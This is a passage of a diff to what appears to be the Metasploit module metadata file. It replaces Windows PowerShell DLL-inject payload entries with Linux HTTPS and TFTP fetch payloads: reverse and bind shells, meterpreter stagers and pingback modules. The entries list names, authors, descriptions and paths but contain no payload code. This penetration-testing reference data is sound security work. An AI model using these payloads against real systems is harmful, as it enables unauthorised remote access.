allowed host.", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection over IPv6 and spawn a command shell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_hidden_tcp", + "ref_name": "cmd/linux/https/x86/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_bind_ipv6_tcp", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp", + "payload_cmd/linux/https/x86/shell_bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/https/x86/shell_bind_tcp", "aliases": [ ], @@ -180415,37 +182563,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "hdm ", - "skape " + "Ramon de C Valle " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection and spawn a command shell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_ipv6_tcp", + "ref_name": "cmd/linux/https/x86/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", + "payload_cmd/linux/https/x86/shell_bind_tcp_random_port": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/https/x86/shell_bind_tcp_random_port", "aliases": [ ], @@ -180453,38 +182603,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "OJ Reeves" + "Geyslan G. Bem ", + "Aleh Boitsau " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", + "EDB-41631" ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/linux/https/x86/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_bind_tcp_random_port", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_named_pipe", + "payload_cmd/linux/https/x86/shell_find_port": { + "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/https/x86/shell_find_port", "aliases": [ ], @@ -180492,36 +182645,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "UserExistsError" + "Ramon de C Valle " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a shell on an established connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_named_pipe", + "ref_name": "cmd/linux/https/x86/shell_find_port", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_find_port", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/bind_nonx_tcp": { - "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_nonx_tcp", + "payload_cmd/linux/https/x86/shell_find_tag": { + "name": "HTTPS Fetch, Linux Command Shell, Find Tag Inline", + "fullname": "payload/cmd/linux/https/x86/shell_find_tag", "aliases": [ ], @@ -180529,36 +182685,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "vlad902 " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a shell on an established connection (proxy/nat safe)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_nonx_tcp", + "ref_name": "cmd/linux/https/x86/shell_find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_find_tag", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/bind_tcp": { - "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp", + "payload_cmd/linux/https/x86/shell_reverse_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x86/shell_reverse_tcp", "aliases": [ ], @@ -180566,37 +182725,40 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "hdm ", - "skape " + "Ramon de C Valle ", + "joev " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_tcp", + "ref_name": "cmd/linux/https/x86/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_rc4", + "payload_cmd/linux/https/x86/shell_reverse_tcp_ipv6": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x86/shell_reverse_tcp_ipv6", "aliases": [ ], @@ -180604,39 +182766,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "Matteo Malvica " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_tcp_rc4", + "ref_name": "cmd/linux/https/x86/shell_reverse_tcp_ipv6", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp_ipv6", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_uuid", + "payload_cmd/linux/tftp/mips64/meterpreter_reverse_http": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_http", "aliases": [ ], @@ -180644,37 +182806,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "hdm ", - "OJ Reeves" + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Fetch and execute a MIPS64 payload from a TFTP server.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_tcp_uuid", + "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_http", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/find_tag": { - "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/find_tag", + "payload_cmd/linux/tftp/mips64/meterpreter_reverse_https": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_https", "aliases": [ ], @@ -180682,36 +182848,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "skape " + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "description": "Fetch and execute a MIPS64 payload from a TFTP server.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/find_tag", + "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_https", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/reverse_hop_http": { - "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_hop_http", + "payload_cmd/linux/tftp/mips64/meterpreter_reverse_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_tcp", "aliases": [ ], @@ -180719,38 +182890,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "sf ", - "scriptjunkie ", - "bannedit ", - "hdm " + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "description": "Fetch and execute a MIPS64 payload from a TFTP server.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_hop_http", + "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/reverse_http": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http", + "payload_cmd/linux/tftp/x64/exec": { + "name": "TFTP Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/tftp/x64/exec", "aliases": [ ], @@ -180758,36 +182932,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm " + "Brendan Watters", + "ricky", + "Geyslan G. Bem " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "description": "Fetch and execute an x64 payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_http", + "ref_name": "cmd/linux/tftp/x64/exec", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/exec", + "staged": false }, - "payload_cmd/windows/powershell/dllinject/reverse_http_proxy_pstore": { - "name": "Powershell Exec, Reverse HTTP Stager Proxy", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", + "payload_cmd/linux/tftp/x64/meterpreter/bind_tcp": { + "name": "TFTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -180795,36 +182972,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm " + "Brendan Watters", + "Brent Cook ", + "ricky" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", + "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", + "ref_name": "cmd/linux/tftp/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/bind_tcp" }, - "payload_cmd/windows/powershell/dllinject/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ipv6_tcp", + "payload_cmd/linux/tftp/x64/meterpreter/reverse_sctp": { + "name": "TFTP Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_sctp", "aliases": [ ], @@ -180832,37 +183014,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "skape " + "Brendan Watters", + "Brent Cook ", + "RageLtMan " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_ipv6_tcp", + "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_sctp" }, - "payload_cmd/windows/powershell/dllinject/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_nonx_tcp", + "payload_cmd/linux/tftp/x64/meterpreter/reverse_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -180870,36 +183056,42 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "vlad902 " + "Brendan Watters", + "Brent Cook ", + "ricky", + "tkmru" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], - "platform": "Windows", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_nonx_tcp", + "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_tcp" }, - "payload_cmd/windows/powershell/dllinject/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ord_tcp", + "payload_cmd/linux/tftp/x64/meterpreter_reverse_http": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_http", "aliases": [ ], @@ -180907,11 +183099,15437 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_http", + "staged": false + }, + "payload_cmd/linux/tftp/x64/meterpreter_reverse_https": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_https", + "staged": false + }, + "payload_cmd/linux/tftp/x64/meterpreter_reverse_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x64/pingback_bind_tcp": { + "name": "TFTP Fetch, Linux x64 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/pingback_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nAccept a connection from attacker and report UUID (Linux x64)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/pingback_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/pingback_bind_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x64/pingback_reverse_tcp": { + "name": "TFTP Fetch, Linux x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/pingback_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and report UUID (Linux x64)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/pingback_reverse_tcp", + "staged": false + }, + "payload_cmd/linux/tftp/x64/shell/bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/bind_tcp" + }, + "payload_cmd/linux/tftp/x64/shell/reverse_sctp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + 